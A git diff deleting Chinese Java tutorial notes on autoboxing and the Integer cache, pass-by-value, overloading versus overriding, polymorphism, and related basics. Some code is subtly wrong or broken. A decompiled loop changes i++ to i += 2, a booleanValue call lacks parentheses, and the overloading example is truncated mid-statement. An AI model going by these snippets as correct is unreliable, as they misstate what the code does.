-## 哪些地方会自动拆装箱
-
-我们了解过原理之后,在来看一下,什么情况下,Java会帮我们进行自动拆装箱。前面提到的变量的初始化和赋值的场景就不介绍了,那是最简单的也最容易理解的。
-
-我们主要来看一下,那些可能被忽略的场景。
-
-### 场景一、将基本数据类型放入集合类
-
-我们知道,Java中的集合类只能接收对象类型,那么以下代码为什么会不报错呢?
-```java
- List li = new ArrayList<>();
- for (int i = 1; i < 50; i ++){
- li.add(i);
- }
-```
-
-将上面代码进行反编译,可以得到以下代码:
-```java
- List li = new ArrayList<>();
- for (int i = 1; i < 50; i += 2){
- li.add(Integer.valueOf(i));
- }
-```
-
-以上,我们可以得出结论,当我们把基本数据类型放入集合类中的时候,会进行自动装箱。
-
-### 场景二、包装类型和基本类型的大小比较
-
-有没有人想过,当我们对Integer对象与基本类型进行大小比较的时候,实际上比较的是什么内容呢?看以下代码:
-```java
- Integer a=1;
- System.out.println(a==1?"等于":"不等于");
- Boolean bool=false;
- System.out.println(bool?"真":"假");
-```
-
-对以上代码进行反编译,得到以下代码:
-```java
- Integer a=1;
- System.out.println(a.intValue()==1?"等于":"不等于");
- Boolean bool=false;
- System.out.println(bool.booleanValue?"真":"假");
-```
-
-可以看到,包装类与基本数据类型进行比较运算,是先将包装类进行拆箱成基本数据类型,然后进行比较的。
-
-### 场景三、包装类型的运算
-
-有没有人想过,当我们对Integer对象进行四则运算的时候,是如何进行的呢?看以下代码:
-```java
- Integer i = 10;
- Integer j = 20;
-
- System.out.println(i+j);
-```
-
-反编译后代码如下:
-```java
- Integer i = Integer.valueOf(10);
- Integer j = Integer.valueOf(20);
- System.out.println(i.intValue() + j.intValue());
-```
-
-我们发现,两个包装类型之间的运算,会被自动拆箱成基本类型进行。
-
-### 场景四、三目运算符的使用
-
-这是很多人不知道的一个场景,作者也是一次线上的血淋淋的Bug发生后才了解到的一种案例。看一个简单的三目运算符的代码:
-```java
- boolean flag = true;
- Integer i = 0;
- int j = 1;
- int k = flag ? i : j;
-```
-
-很多人不知道,其实在`int k = flag ? i : j;`这一行,会发生自动拆箱。反编译后代码如下:
-```java
- boolean flag = true;
- Integer i = Integer.valueOf(0);
- int j = 1;
- int k = flag ? i.intValue() : j;
- System.out.println(k);
-```
-
-这其实是三目运算符的语法规范。当第二,第三位操作数分别为基本类型和对象时,其中的对象就会拆箱为基本类型进行操作。
-
-因为例子中,`flag ? i : j;`片段中,第二段的i是一个包装类型的对象,而第三段的j是一个基本类型,所以会对包装类进行自动拆箱。如果这个时候i的值为`null`,那么就会发生NPE。([自动拆箱导致空指针异常][1])
-
-### 场景五、函数参数与返回值
-
-这个比较容易理解,直接上代码了:
-```java
- //自动拆箱
- public int getNum1(Integer num) {
- return num;
- }
- //自动装箱
- public Integer getNum2(int num) {
- return num;
- }
-```
-
-## 自动拆装箱与缓存
-
-Java SE的自动拆装箱还提供了一个和缓存有关的功能,我们先来看以下代码,猜测一下输出结果:
-```java
- public static void main(String... strings) {
-
- Integer integer1 = 3;
- Integer integer2 = 3;
-
- if (integer1 == integer2)
- System.out.println("integer1 == integer2");
- else
- System.out.println("integer1 != integer2");
-
- Integer integer3 = 300;
- Integer integer4 = 300;
-
- if (integer3 == integer4)
- System.out.println("integer3 == integer4");
- else
- System.out.println("integer3 != integer4");
- }
-```
-
-我们普遍认为上面的两个判断的结果都是false。虽然比较的值是相等的,但是由于比较的是对象,而对象的引用不一样,所以会认为两个if判断都是false的。在Java中,==比较的是对象应用,而equals比较的是值。所以,在这个例子中,不同的对象有不同的引用,所以在进行比较的时候都将返回false。奇怪的是,这里两个类似的if条件判断返回不同的布尔值。
-
-上面这段代码真正的输出结果:
-
- integer1 == integer2
- integer3 != integer4
-
-
-原因就和Integer中的缓存机制有关。在Java 5中,在Integer的操作上引入了一个新功能来节省内存和提高性能。整型对象通过使用相同的对象引用实现了缓存和重用。
-
-> 适用于整数值区间-128 至 +127。
->
-> 只适用于自动装箱。使用构造函数创建对象不适用。
-
-具体的代码实现可以阅读[Java中整型的缓存机制][2]一文,这里不再阐述。
-
-我们只需要知道,当需要进行自动装箱时,如果数字在-128至127之间时,会直接使用缓存中的对象,而不是重新创建一个对象。
-
-其中的javadoc详细的说明了缓存支持-128到127之间的自动装箱过程。最大值127可以通过`-XX:AutoBoxCacheMax=size`修改。
-
-实际上这个功能在Java 5中引入的时候,范围是固定的-128 至 +127。后来在Java 6中,可以通过`java.lang.Integer.IntegerCache.high`设置最大值。
-
-这使我们可以根据应用程序的实际情况灵活地调整来提高性能。到底是什么原因选择这个-128到127范围呢?因为这个范围的数字是最被广泛使用的。 在程序中,第一次使用Integer的时候也需要一定的额外时间来初始化这个缓存。
-
-在Boxing Conversion部分的Java语言规范(JLS)规定如下:
-
-如果一个变量p的值是:
-
- -128至127之间的整数(§3.10.1)
-
- true 和 false的布尔值 (§3.10.3)
-
- ‘\u0000’至 ‘\u007f’之间的字符(§3.10.4)
-
-
-范围内的时,将p包装成a和b两个对象时,可以直接使用a==b判断a和b的值是否相等。
-
-## 自动拆装箱带来的问题
-
-当然,自动拆装箱是一个很好的功能,大大节省了开发人员的精力,不再需要关心到底什么时候需要拆装箱。但是,他也会引入一些问题。
-
-> 包装对象的数值比较,不能简单的使用`==`,虽然-128到127之间的数字可以,但是这个范围之外还是需要使用`equals`比较。
->
-> 前面提到,有些场景会进行自动拆装箱,同时也说过,由于自动拆箱,如果包装类对象为null,那么自动拆箱时就有可能抛出NPE。
->
-> 如果一个for循环中有大量拆装箱操作,会浪费很多资源。
-
-## 参考资料
-
-[Java的自动拆装箱][3]
-
- [1]: http://www.hollischuang.com/archives/435
- [2]: http://www.hollischuang.com/archives/1174
- [3]: https://www.jianshu.com/p/cc9312104876
diff --git a/basics/java-basic/characteristics.md b/basics/java-basic/characteristics.md
deleted file mode 100644
index ce725a40..00000000
--- a/basics/java-basic/characteristics.md
+++ /dev/null
@@ -1,15 +0,0 @@
-面向对象三大特征:
-
-### (1)封装(Encapsulation)
-
-所谓封装,也就是把客观事物封装成抽象的类,并且类可以把自己的数据和方法只让可信的类或者对象操作,对不可信的进行信息隐藏。封装是面向对象的特征之一,是对象和类概念的主要特性。简单的说,一个类就是一个封装了数据以及操作这些数据的代码的逻辑实体。在一个对象内部,某些代码或某些数据可以是私有的,不能被外界访问。通过这种方式,对象对内部数据提供了不同级别的保护,以防止程序中无关的部分意外的改变或错误的使用了对象的私有部分。
-
-### (2)继承(Inheritance)
-
-继承是指这样一种能力:它可以使用现有类的所有功能,并在无需重新编写原来的类的情况下对这些功能进行扩展。通过继承创建的新类称为“子类”或“派生类”,被继承的类称为“基类”、“父类”或“超类”。继承的过程,就是从一般到特殊的过程。要实现继承,可以通过“继承”(Inheritance)和“组合”(Composition)来实现。继承概念的实现方式有二类:实现继承与接口继承。实现继承是指直接使用基类的属性和方法而无需额外编码的能力;接口继承是指仅使用属性和方法的名称、但是子类必须提供实现的能力;
-
-### (3)多态(Polymorphism)
-
-所谓多态就是指一个类实例的相同方法在不同情形有不同表现形式。多态机制使具有不同内部结构的对象可以共享相同的外部接口。这意味着,虽然针对不同对象的具体操作不同,但通过一个公共的类,它们(那些操作)可以通过相同的方式予以调用。
-
-最常见的多态就是将子类传入父类参数中,运行时调用父类方法时通过传入的子类决定具体的内部结构或行为。
\ No newline at end of file
diff --git a/basics/java-basic/constructor.md b/basics/java-basic/constructor.md
deleted file mode 100644
index deb5972d..00000000
--- a/basics/java-basic/constructor.md
+++ /dev/null
@@ -1,5 +0,0 @@
-构造函数,是一种特殊的方法。 主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,总与new运算符一起使用在创建对象的语句中。 特别的一个类可以有多个构造函数,可根据其参数个数的不同或参数类型的不同来区分它们即构造函数的重载。
-
-构造函数跟一般的实例方法十分相似;但是与其它方法不同,构造器没有返回类型,不会被继承,且可以有范围修饰符。构造器的函数名称必须和它所属的类的名称相同。 它承担着初始化对象数据成员的任务。
-
-如果在编写一个可实例化的类时没有专门编写构造函数,多数编程语言会自动生成缺省构造器(默认构造函数)。默认构造函数一般会把成员变量的值初始化为默认值,如int -> 0,Integet -> null。
\ No newline at end of file
diff --git a/basics/java-basic/enum-switch.md b/basics/java-basic/enum-switch.md
deleted file mode 100644
index 245d9e49..00000000
--- a/basics/java-basic/enum-switch.md
+++ /dev/null
@@ -1 +0,0 @@
-Java 1.7 之前 switch 参数可用类型为 short、byte、int、char,枚举类型之所以能使用其实是编译器层面实现的,编译器会将枚举 switch 转换为类似 switch(s.ordinal()) { case Status.START.ordinal() } 形式,所以实质还是 int 参数类型,感兴趣的可以自己写个使用枚举的 switch 代码然后通过 javap -v 去看下字节码就明白了。
\ No newline at end of file
diff --git a/basics/java-basic/final-string.md b/basics/java-basic/final-string.md
deleted file mode 100644
index 3f7aade7..00000000
--- a/basics/java-basic/final-string.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-* * *
-
-## 定义一个字符串
-
- String s = "abcd";
-
-
-![String-Immutability-1][1]
-
-`s`中保存了string对象的引用。下面的箭头可以理解为“存储他的引用”。
-
-## 使用变量来赋值变量
-
- String s2 = s;
-
-
-![String-Immutability-2][2]
-
-s2保存了相同的引用值,因为他们代表同一个对象。
-
-## 字符串连接
-
- s = s.concat("ef");
-
-
-![string-immutability][3]
-
-`s`中保存的是一个重新创建出来的string对象的引用。
-
-## 总结
-
-一旦一个string对象在内存(堆)中被创建出来,他就无法被修改。特别要注意的是,String类的所有方法都没有改变字符串本身的值,都是返回了一个新的对象。
-
-如果你需要一个可修改的字符串,应该使用StringBuffer 或者 StringBuilder。否则会有大量时间浪费在垃圾回收上,因为每次试图修改都有新的string对象被创建出来。
-
- [1]: http://www.programcreek.com/wp-content/uploads/2009/02/String-Immutability-1.jpeg
- [2]: http://www.programcreek.com/wp-content/uploads/2009/02/String-Immutability-2.jpeg
- [3]: http://www.programcreek.com/wp-content/uploads/2009/02/string-immutability-650x279.jpeg
\ No newline at end of file
diff --git a/basics/java-basic/float.md b/basics/java-basic/float.md
deleted file mode 100644
index f7cf14af..00000000
--- a/basics/java-basic/float.md
+++ /dev/null
@@ -1,11 +0,0 @@
-在计算机科学中,浮点是一种对于实数的近似值数值表现法,由一个有效数字(即尾数)加上幂数来表示,通常是乘以某个基数的整数次指数得到。以这种表示法表示的数值,称为浮点数(floating-point number)。
-
-计算机使用浮点数运算的主因,在于电脑使用二进位制的运算。例如:4÷2=2,4的二进制表示为100、2的二进制表示为010,在二进制中,相当于退一位数(100 -> 010)。
-
-1的二进制是01,1.0/2=0.5,那么,0.5的二进制表示应该为(0.1),以此类推,0.25的二进制表示为0.01,所以,并不是说所有的十进制小数都能准确的用二进制表示出来,如0.1,因此只能使用近似值的方式表达。
-
-也就是说,,十进制的小数在计算机中是由一个整数或定点数(即尾数)乘以某个基数(计算机中通常是2)的整数次幂得到的,这种表示方法类似于基数为10的科学计数法。
-
-一个浮点数a由两个数m和e来表示:a = m × be。在任意一个这样的系统中,我们选择一个基数b(记数系统的基)和精度p(即使用多少位来存储)。m(即尾数)是形如±d.ddd...ddd的p位数(每一位是一个介于0到b-1之间的整数,包括0和b-1)。如果m的第一位是非0整数,m称作正规化的。有一些描述使用一个单独的符号位(s 代表+或者-)来表示正负,这样m必须是正的。e是指数。
-
-位(bit)是衡量浮点数所需存储空间的单位,通常为32位或64位,分别被叫作单精度和双精度。
\ No newline at end of file
diff --git a/basics/java-basic/java-pass-by.md b/basics/java-basic/java-pass-by.md
deleted file mode 100644
index 0c9044e1..00000000
--- a/basics/java-basic/java-pass-by.md
+++ /dev/null
@@ -1,225 +0,0 @@
-# 为什么说Java中只有值传递
-
-对于初学者来说,要想把这个问题回答正确,是比较难的。在第二天整理答案的时候,我发现我竟然无法通过简单的语言把这个事情描述的很容易理解,遗憾的是,我也没有在网上找到哪篇文章可以把这个事情讲解的通俗易懂。所以,就有了我写这篇文章的初衷。这篇文章中,我从什么是方法的实际参数和形式参数开始,给你讲解为什么说Java中只有值传递。
-
-### 辟谣时间
-
-关于这个问题,在[StackOverflow][2]上也引发过广泛的讨论,看来很多程序员对于这个问题的理解都不尽相同,甚至很多人理解的是错误的。还有的人可能知道Java中的参数传递是值传递,但是说不出来为什么。
-
-在开始深入讲解之前,有必要纠正一下大家以前的那些错误看法了。如果你有以下想法,那么你有必要好好阅读本文。
-
-> 错误理解一:值传递和引用传递,区分的条件是传递的内容,如果是个值,就是值传递。如果是个引用,就是引用传递。
->
-> 错误理解二:Java是引用传递。
->
-> 错误理解三:传递的参数如果是普通类型,那就是值传递,如果是对象,那就是引用传递。
-
-### 实参与形参
-
-我们都知道,在Java中定义方法的时候是可以定义参数的。比如Java中的main方法,`public static void main(String[] args)`,这里面的args就是参数。参数在程序语言中分为形式参数和实际参数。
-
-> 形式参数:是在定义函数名和函数体的时候使用的参数,目的是用来接收调用该函数时传入的参数。
->
-> 实际参数:在调用有参函数时,主调函数和被调函数之间有数据传递关系。在主调函数中调用一个函数时,函数名后面括号中的参数称为“实际参数”。
-
-简单举个例子:
-
-```
-public static void main(String[] args) {
- ParamTest pt = new ParamTest();
- pt.sout("Hollis");//实际参数为 Hollis
-}
-
-public void sout(String name) { //形式参数为 name
- System.out.println(name);
-}
-```
-
-实际参数是调用有参方法的时候真正传递的内容,而形式参数是用于接收实参内容的参数。
-
-### 值传递与引用传递
-
-上面提到了,当我们调用一个有参函数的时候,会把实际参数传递给形式参数。但是,在程序语言中,这个传递过程中传递的两种情况,即值传递和引用传递。我们来看下程序语言中是如何定义和区分值传递和引用传递的。
-
-> 值传递(pass by value)是指在调用函数时将实际参数复制一份传递到函数中,这样在函数中如果对参数进行修改,将不会影响到实际参数。
->
-> 引用传递(pass by reference)是指在调用函数时将实际参数的地址直接传递到函数中,那么在函数中对参数所进行的修改,将影响到实际参数。
-
-有了上面的概念,然后大家就可以写代码实践了,来看看Java中到底是值传递还是引用传递 ,于是,最简单的一段代码出来了:
-```
-public static void main(String[] args) {
- ParamTest pt = new ParamTest();
-
- int i = 10;
- pt.pass(10);
- System.out.println("print in main , i is " + i);
-}
-
-public void pass(int j) {
- j = 20;
- System.out.println("print in pass , j is " + j);
-}
-```
-
-上面的代码中,我们在pass方法中修改了参数j的值,然后分别在pass方法和main方法中打印参数的值。输出结果如下:
-
-```
-print in pass , j is 20
-print in main , i is 10
-```
-
-可见,pass方法内部对name的值的修改并没有改变实际参数i的值。那么,按照上面的定义,有人得到结论:Java的方法传递是值传递。
-
-但是,很快就有人提出质疑了(哈哈,所以,不要轻易下结论咯。)。然后,他们会搬出以下代码:
-```
-public static void main(String[] args) {
- ParamTest pt = new ParamTest();
-
- User hollis = new User();
- hollis.setName("Hollis");
- hollis.setGender("Male");
- pt.pass(hollis);
- System.out.println("print in main , user is " + hollis);
-}
-
-public void pass(User user) {
- user.setName("hollischuang");
- System.out.println("print in pass , user is " + user);
-}
-```
-
-同样是一个pass方法,同样是在pass方法内修改参数的值。输出结果如下:
-```
-print in pass , user is User{name='hollischuang', gender='Male'}
-print in main , user is User{name='hollischuang', gender='Male'}
-```
-
-经过pass方法执行后,实参的值竟然被改变了,那按照上面的引用传递的定义,实际参数的值被改变了,这不就是引用传递了么。于是,根据上面的两段代码,有人得出一个新的结论:Java的方法中,在传递普通类型的时候是值传递,在传递对象类型的时候是引用传递。
-
-但是,这种表述仍然是错误的。不信你看下面这个参数类型为对象的参数传递:
-```
-public static void main(String[] args) {
- ParamTest pt = new ParamTest();
-
- String name = "Hollis";
- pt.pass(name);
- System.out.println("print in main , name is " + name);
-}
-
-public void pass(String name) {
- name = "hollischuang";
- System.out.println("print in pass , name is " + name);
-}
-```
-
-上面的代码输出结果为
-```
-print in pass , name is hollischuang
-print in main , name is Hollis
-```
-
-这又作何解释呢?同样传递了一个对象,但是原始参数的值并没有被修改,难道传递对象又变成值传递了?
-
-### Java中的值传递
-
-上面,我们举了三个例子,表现的结果却不一样,这也是导致很多初学者,甚至很多高级程序员对于Java的传递类型有困惑的原因。
-
-其实,我想告诉大家的是,上面的概念没有错,只是代码的例子有问题。来,我再来给大家画一下概念中的重点,然后再举几个真正恰当的例子。
-
-> 值传递(pass by value)是指在调用函数时将实际参数`复制`一份传递到函数中,这样在函数中如果对`参数`进行修改,将不会影响到实际参数。
->
-> 引用传递(pass by reference)是指在调用函数时将实际参数的地址`直接`传递到函数中,那么在函数中对`参数`所进行的修改,将影响到实际参数。
-
-那么,我来给大家总结一下,值传递和引用传递之前的区别的重点是什么。
-
-[ ][3]
-
-我们上面看过的几个pass的例子中,都只关注了实际参数内容是否有改变。如传递的是User对象,我们试着改变他的name属性的值,然后检查是否有改变。其实,在实验方法上就错了,当然得到的结论也就有问题了。
-
-为什么说实验方法错了呢?这里我们来举一个形象的例子。再来深入理解一下值传递和引用传递,然后你就知道为啥错了。
-
-你有一把钥匙,当你的朋友想要去你家的时候,如果你`直接`把你的钥匙给他了,这就是引用传递。这种情况下,如果他对这把钥匙做了什么事情,比如他在钥匙上刻下了自己名字,那么这把钥匙还给你的时候,你自己的钥匙上也会多出他刻的名字。
-
-你有一把钥匙,当你的朋友想要去你家的时候,你`复刻`了一把新钥匙给他,自己的还在自己手里,这就是值传递。这种情况下,他对这把钥匙做什么都不会影响你手里的这把钥匙。
-
-但是,不管上面那种情况,你的朋友拿着你给他的钥匙,进到你的家里,把你家的电视砸了。那你说你会不会受到影响?而我们在pass方法中,改变user对象的name属性的值的时候,不就是在“砸电视”么。
-
-还拿上面的一个例子来举例,我们`真正的改变参数`,看看会发生什么?
-```
-public static void main(String[] args) {
- ParamTest pt = new ParamTest();
-
- User hollis = new User();
- hollis.setName("Hollis");
- hollis.setGender("Male");
- pt.pass(hollis);
- System.out.println("print in main , user is " + hollis);
-}
-
-public void pass(User user) {
- user = new User();
- user.setName("hollischuang");
- user.setGender("Male");
- System.out.println("print in pass , user is " + user);
-}
-```
-
-上面的代码中,我们在pass方法中,改变了user对象,输出结果如下:
-```
-print in pass , user is User{name='hollischuang', gender='Male'}
-print in main , user is User{name='Hollis', gender='Male'}
-```
-
-我们来画一张图,看一下整个过程中发生了什么,然后我再告诉你,为啥Java中只有值传递。
-
-[ ][4]
-
-稍微解释下这张图,当我们在main中创建一个User对象的时候,在堆中开辟一块内存,其中保存了name和gender等数据。然后hollis持有该内存的地址`0x123456`(图1)。当尝试调用pass方法,并且hollis作为实际参数传递给形式参数user的时候,会把这个地址`0x123456`交给user,这时,user也指向了这个地址(图2)。然后在pass方法内对参数进行修改的时候,即`user = new User();`,会重新开辟一块`0X456789`的内存,赋值给user。后面对user的任何修改都不会改变内存`0X123456`的内容(图3)。
-
-上面这种传递是什么传递?肯定不是引用传递,如果是引用传递的话,在`user=new User()`的时候,实际参数的引用也应该改为指向`0X456789`,但是实际上并没有。
-
-通过概念我们也能知道,这里是把实际参数的引用的地址复制了一份,传递给了形式参数。所以,**上面的参数其实是值传递,把实参对象引用的地址当做值传递给了形式参数。**
-
-我们再来回顾下之前的那个“砸电视”的例子,看那个例子中的传递过程发生了什么。
-
-[ ][5]
-
-同样的,在参数传递的过程中,实际参数的地址`0X1213456`被拷贝给了形参,只是,在这个方法中,并没有对形参本身进行修改,而是修改的形参持有的地址中存储的内容。
-
-所以,值传递和引用传递的区别并不是传递的内容。而是实参到底有没有被复制一份给形参。在判断实参内容有没有受影响的时候,要看传的的是什么,如果你传递的是个地址,那么就看这个地址的变化会不会有影响,而不是看地址指向的对象的变化。就像钥匙和房子的关系。
-
-那么,既然这样,为啥上面同样是传递对象,传递的String对象和User对象的表现结果不一样呢?我们在pass方法中使用`name = "hollischuang";`试着去更改name的值,阴差阳错的直接改变了name的引用的地址。因为这段代码,会new一个String,在把引用交给name,即等价于`name = new String("hollischuang");`。而原来的那个"Hollis"字符串还是由实参持有着的,所以,并没有修改到实际参数的值。
-
-[ ][6]
-
-**所以说,Java中其实还是值传递的,只不过对于对象参数,值的内容是对象的引用。**
-
-### 总结
-
-无论是值传递还是引用传递,其实都是一种求值策略([Evaluation strategy][7])。在求值策略中,还有一种叫做按共享传递(call by sharing)。其实Java中的参数传递严格意义上说应该是按共享传递。
-
-> 按共享传递,是指在调用函数时,传递给函数的是实参的地址的拷贝(如果实参在栈中,则直接拷贝该值)。在函数内部对参数进行操作时,需要先拷贝的地址寻找到具体的值,再进行操作。如果该值在栈中,那么因为是直接拷贝的值,所以函数内部对参数进行操作不会对外部变量产生影响。如果原来拷贝的是原值在堆中的地址,那么需要先根据该地址找到堆中对应的位置,再进行操作。因为传递的是地址的拷贝所以函数内对值的操作对外部变量是可见的。
-
-简单点说,Java中的传递,是值传递,而这个值,实际上是对象的引用。
-
-而按共享传递其实只是按值传递的一个特例罢了。所以我们可以说Java的传递是按共享传递,或者说Java中的传递是值传递。
-
-### 参考资料
-
-[Evaluation strategy][7]
-
-[关于值传递和引用传递][8]
-
-[按值传递、按引用传递、按共享传递][9]
-
-[Is Java “pass-by-reference” or “pass-by-value”?][2]
-
-[1]: http://www.hollischuang.com/wp-content/uploads/2018/04/question.png
-[2]: https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value
-[3]: http://www.hollischuang.com/wp-content/uploads/2018/04/pass.jpg
-[4]: http://www.hollischuang.com/wp-content/uploads/2018/04/pass1.png
-[5]: http://www.hollischuang.com/wp-content/uploads/2018/04/pass21.png
-[6]: http://www.hollischuang.com/wp-content/uploads/2018/04/pass3.png
-[7]: https://en.wikipedia.org/wiki/Evaluation_strategy
-[8]: http://chenwenbo.github.io/2016/05/11/%E5%85%B3%E4%BA%8E%E5%80%BC%E4%BC%A0%E9%80%92%E5%92%8C%E5%BC%95%E7%94%A8%E4%BC%A0%E9%80%92/
-[9]: http://menzhongxin.com/2017/02/07/%E6%8C%89%E5%80%BC%E4%BC%A0%E9%80%92-%E6%8C%89%E5%BC%95%E7%94%A8%E4%BC%A0%E9%80%92%E5%92%8C%E6%8C%89%E5%85%B1%E4%BA%AB%E4%BC%A0%E9%80%92/
diff --git a/basics/java-basic/object-oriented-vs-procedure-oriented.md b/basics/java-basic/object-oriented-vs-procedure-oriented.md
deleted file mode 100644
index cc99c9a1..00000000
--- a/basics/java-basic/object-oriented-vs-procedure-oriented.md
+++ /dev/null
@@ -1,15 +0,0 @@
-### 什么是面向过程?
-
-把问题分解成一个一个步骤,每个步骤用函数实现,依次调用即可。
-
-就是说,在进行面向过程编程的时候,不需要考虑那么多,上来先定义一个函数,然后使用各种诸如if-else、for-each等方式进行代码执行。
-
-最典型的用法就是实现一个简单的算法,比如实现冒泡排序。
-
-
-### 什么是面向对象?
-将问题分解成一个一个步骤,对每个步骤进行相应的抽象,形成对象,通过不同对象之间的调用,组合解决问题。
-
-就是说,在进行面向对象进行编程的时候,要把属性、行为等封装成对象,然后基于这些对象及对象的能力进行业务逻辑的实现。
-
-比如想要造一辆车,上来要先把车的各种属性定义出来,然后抽象成一个Car类。
\ No newline at end of file
diff --git a/basics/java-basic/overloading-vs-overriding.md b/basics/java-basic/overloading-vs-overriding.md
deleted file mode 100644
index 2e08cd24..00000000
--- a/basics/java-basic/overloading-vs-overriding.md
+++ /dev/null
@@ -1,113 +0,0 @@
-![overloading-vs-overriding][1]
-
-重载(Overloading)和重写(Overriding)是Java中两个比较重要的概念。但是对于新手来说也比较容易混淆。本文通过两个简单的例子说明了他们之间的区别。
-
-## 定义
-
-### 重载
-
-简单说,就是函数或者方法有同样的名称,但是参数列表不相同的情形,这样的同名不同参数的函数或者方法之间,互相称之为重载函数或者方法。
-
-### 重写
-
-重写指的是在Java的子类与父类中有两个名称、参数列表都相同的方法的情况。由于他们具有相同的方法签名,所以子类中的新方法将覆盖父类中原有的方法。
-
-## 重载 VS 重写
-
-关于重载和重写,你应该知道以下几点:
-
-> 1、重载是一个编译期概念、重写是一个运行期间概念。
->
-> 2、重载遵循所谓“编译期绑定”,即在编译时根据参数变量的类型判断应该调用哪个方法。
->
-> 3、重写遵循所谓“运行期绑定”,即在运行的时候,根据引用变量所指向的实际对象的类型来调用方法
->
-> 4、因为在编译期已经确定调用哪个方法,所以重载并不是多态。而重写是多态。重载只是一种语言特性,是一种语法规则,与多态无关,与面向对象也无关。(注:严格来说,重载是编译时多态,即静态多态。但是,Java中提到的多态,在不特别说明的情况下都指动态多态)
-
-## 重写的例子
-
-下面是一个重写的例子,看完代码之后不妨猜测一下输出结果:
-
- class Dog{
- public void bark(){
- System.out.println("woof ");
- }
- }
- class Hound extends Dog{
- public void sniff(){
- System.out.println("sniff ");
- }
-
- public void bark(){
- System.out.println("bowl");
- }
- }
-
- public class OverridingTest{
- public static void main(String [] args){
- Dog dog = new Hound();
- dog.bark();
- }
- }
-
-
-输出结果:
-
- bowl
-
-
-上面的例子中,`dog`对象被定义为`Dog`类型。在编译期,编译器会检查Dog类中是否有可访问的`bark()`方法,只要其中包含`bark()`方法,那么就可以编译通过。在运行期,`Hound`对象被`new`出来,并赋值给`dog`变量,这时,JVM是明确的知道`dog`变量指向的其实是`Hound`对象的引用。所以,当`dog`调用`bark()`方法的时候,就会调用`Hound`类中定义的`bark()`方法。这就是所谓的动态多态性。
-
-### 重写的条件
-
-> 参数列表必须完全与被重写方法的相同;
->
-> 返回类型必须完全与被重写方法的返回类型相同;
->
-> 访问级别的限制性一定不能比被重写方法的强;
->
-> 访问级别的限制性可以比被重写方法的弱;
->
-> 重写方法一定不能抛出新的检查异常或比被重写的方法声明的检查异常更广泛的检查异常
->
-> 重写的方法能够抛出更少或更有限的异常(也就是说,被重写的方法声明了异常,但重写的方法可以什么也不声明)
->
-> 不能重写被标示为final的方法;
->
-> 如果不能继承一个方法,则不能重写这个方法。
-
-## 重载的例子
-
- class Dog{
- public void bark(){
- System.out.println("woof ");
- }
-
- //overloading method
- public void bark(int num){
- for(int i=0; i 被重载的方法必须改变参数列表;
->
-> 被重载的方法可以改变返回类型;
->
-> 被重载的方法可以改变访问修饰符;
->
-> 被重载的方法可以声明新的或更广的检查异常;
->
-> 方法能够在同一个类中或者在一个子类中被重载。
-
-## 参考资料
-
-[Overriding vs. Overloading in Java][2]
-
- [1]: http://www.hollischuang.com/wp-content/uploads/2016/03/overloading-vs-overriding.png
- [2]: http://www.programcreek.com/2009/02/overriding-and-overloading-in-java-with-examples/
\ No newline at end of file
diff --git a/basics/java-basic/polymorphism.md b/basics/java-basic/polymorphism.md
deleted file mode 100644
index e67ec859..00000000
--- a/basics/java-basic/polymorphism.md
+++ /dev/null
@@ -1,54 +0,0 @@
-###什么是多态,多态有什么好处,多态的必要条件是什么、Java中多态的实现方式
-
-多态的概念呢比较简单,就是同一操作作用于不同的对象,可以有不同的解释,产生不同的执行结果。
-
-如果按照这个概念来定义的话,那么多态应该是一种运行期的状态。
-为了实现运行期的多态,或者说是动态绑定,需要满足三个条件。
-
-即有类继承或者接口实现、子类要重写父类的方法、父类的引用指向子类的对象。
-
-简单来一段代码解释下:
-
- public class Parent{
-
- public void call(){
- sout("im Parent");
- }
- }
-
- public class Son extends Parent{// 1.有类继承或者接口实现
- public void call(){// 2.子类要重写父类的方法
- sout("im Son");
- }
- }
-
- public class Daughter extends Parent{// 1.有类继承或者接口实现
- public void call(){// 2.子类要重写父类的方法
- sout("im Daughter");
- }
- }
-
- public class Test{
-
- public static void main(String[] args){
- Parent p = new Son(); //3.父类的引用指向子类的对象
- Parent p1 = new Daughter(); //3.父类的引用指向子类的对象
- }
- }
-
-这样,就实现了多态,同样是Parent类的实例,p.call 调用的是Son类的实现、p1.call调用的是Daughter的实现。
-有人说,你自己定义的时候不就已经知道p是son,p1是Daughter了么。但是,有些时候你用到的对象并不都是自己声明的啊 。
-比如Spring 中的IOC出来的对象,你在使用的时候就不知道他是谁,或者说你可以不用关心他是谁。根据具体情况而定。
-
-
-另外,还有一种说法,包括维基百科也说明,动态还分为动态多态和静态多态。
-上面提到的那种动态绑定认为是动态多态,因为只有在运行期才能知道真正调用的是哪个类的方法。
-
-还有一种静态多态,一般认为Java中的函数重载是一种静态多态,因为他需要在编译期决定具体调用哪个方法、
-
-关于这个动态静态的说法,我更偏向于重载和多态其实是无关的。
-
-但是也要看情况,普通场合,我会认为只有方法的重写算是多态,毕竟这是我的观点。但是如果在面试的时候,我“可能”会认为重载也算是多态,毕竟面试官也有他的观点。我会和面试官说:我认为,多态应该是一种运行期特性,Java中的重写是多态的体现。不过也有人提出重载是一种静态多态的想法,这个问题在StackOverflow等网站上有很多人讨论,但是并没有什么定论。我更加倾向于重载不是多态。
-
-这样沟通,既能体现出你了解的多,又能表现出你有自己的思维,不是那种别人说什么就是什么的。
-
diff --git a/basics/java-basic/scope.md b/basics/java-basic/scope.md
deleted file mode 100644
index fb44d530..00000000
--- a/basics/java-basic/scope.md
+++ /dev/null
@@ -1,7 +0,0 @@
-### 对于成员变量和方法的作用域,public,protected,private以及不写之间的区别。
-
-
-- public :表明该成员变量或者方法是对所有类或者对象都是可见的,所有类或者对象都可以直接访问
-- private:表明该成员变量或者方法是私有的,只有当前类对其具有访问权限,除此之外其他类或者对象都没有访问权限.子类也没有访问权限.
-- protected:表明成员变量或者方法对类自身,与同在一个包中的其他类可见,其他包下的类不可访问,除非是他的子类
-- default:表明该成员变量或者方法只有自己和其位于同一个包的内可见,其他包内的类不能访问,即便是它的子类
\ No newline at end of file
diff --git a/basics/java-basic/string-append.md b/basics/java-basic/string-append.md
deleted file mode 100644
index 6d908651..00000000
--- a/basics/java-basic/string-append.md
+++ /dev/null
@@ -1,3 +0,0 @@
-1. String s = "a" + "b",编译器会进行常量折叠(因为两个都是编译期常量,编译期可知),即变成 String s = "ab"
-
-2. 对于能够进行优化的(String s = "a" + 变量 等)用 StringBuilder 的 append() 方法替代,最后调用 toString() 方法 (底层就是一个 new String())
